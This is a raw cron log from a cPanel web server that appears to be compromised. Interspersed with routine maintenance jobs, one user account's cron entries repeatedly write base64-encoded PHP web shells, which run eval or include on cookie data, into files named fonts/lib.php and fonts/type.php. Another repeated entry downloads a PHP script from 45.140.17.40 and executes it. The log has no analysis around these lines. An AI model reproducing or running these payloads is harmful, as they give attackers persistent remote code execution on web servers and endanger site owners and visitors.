Sep  5 02:43:01 ip-184-168-122-23 CROND[27111]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 02:44:01 ip-184-168-122-23 CROND[27193]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 02:44:01 ip-184-168-122-23 CROND[27191]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 02:44:01 ip-184-168-122-23 CROND[27194]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 02:44:01 ip-184-168-122-23 CROND[27195]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 02:44:01 ip-184-168-122-23 CROND[27192]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 02:45:01 ip-184-168-122-23 CROND[27278]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 02:45:01 ip-184-168-122-23 CROND[27279]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 02:45:01 ip-184-168-122-23 CROND[27284]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 02:45:01 ip-184-168-122-23 CROND[27281]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 02:45:01 ip-184-168-122-23 CROND[27282]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 02:45:01 ip-184-168-122-23 CROND[27280]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 02:46:01 ip-184-168-122-23 CROND[27371]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 02:46:01 ip-184-168-122-23 CROND[27377]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 02:46:01 ip-184-168-122-23 CROND[27376]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  5 02:46:01 ip-184-168-122-23 CROND[27373]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  5 02:46:01 ip-184-168-122-23 CROND[27372]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 02:46:01 ip-184-168-122-23 CROND[27374]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 02:46:01 ip-184-168-122-23 CROND[27375]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 02:47:01 ip-184-168-122-23 CROND[27470]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 02:47:01 ip-184-168-122-23 CROND[27472]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 02:47:01 ip-184-168-122-23 CROND[27471]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 02:47:01 ip-184-168-122-23 CROND[27473]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 02:48:01 ip-184-168-122-23 CROND[27554]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 02:48:01 ip-184-168-122-23 CROND[27551]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 02:48:01 ip-184-168-122-23 CROND[27553]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 02:48:01 ip-184-168-122-23 CROND[27552]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 02:48:01 ip-184-168-122-23 CROND[27555]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 02:49:01 ip-184-168-122-23 CROND[27734]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 02:49:01 ip-184-168-122-23 CROND[27735]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 02:49:01 ip-184-168-122-23 CROND[27736]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 02:49:01 ip-184-168-122-23 CROND[27737]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 02:50:01 ip-184-168-122-23 CROND[27825]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 02:50:01 ip-184-168-122-23 CROND[27827]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 02:50:01 ip-184-168-122-23 CROND[27828]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 02:50:01 ip-184-168-122-23 CROND[27829]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 02:50:01 ip-184-168-122-23 CROND[27830]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 02:50:01 ip-184-168-122-23 CROND[27831]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 02:50:01 ip-184-168-122-23 CROND[27836]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  5 02:50:01 ip-184-168-122-23 CROND[27835]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  5 02:50:01 ip-184-168-122-23 CROND[27837]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 02:51:02 ip-184-168-122-23 CROND[27941]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 02:51:02 ip-184-168-122-23 CROND[27944]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 02:51:02 ip-184-168-122-23 CROND[27942]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 02:51:02 ip-184-168-122-23 CROND[27943]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 02:52:01 ip-184-168-122-23 CROND[28059]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 02:52:01 ip-184-168-122-23 CROND[28058]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 02:52:01 ip-184-168-122-23 CROND[28060]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 02:52:01 ip-184-168-122-23 CROND[28062]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 02:52:01 ip-184-168-122-23 CROND[28061]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 02:53:01 ip-184-168-122-23 CROND[28156]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 02:53:01 ip-184-168-122-23 CROND[28158]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 02:53:01 ip-184-168-122-23 CROND[28159]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 02:53:01 ip-184-168-122-23 CROND[28160]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 02:54:01 ip-184-168-122-23 CROND[28240]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 02:54:01 ip-184-168-122-23 CROND[28243]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 02:54:01 ip-184-168-122-23 CROND[28241]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 02:54:01 ip-184-168-122-23 CROND[28239]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 02:54:01 ip-184-168-122-23 CROND[28242]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 02:55:02 ip-184-168-122-23 CROND[28416]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 02:55:02 ip-184-168-122-23 CROND[28419]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 02:55:02 ip-184-168-122-23 CROND[28418]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 02:55:02 ip-184-168-122-23 CROND[28422]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
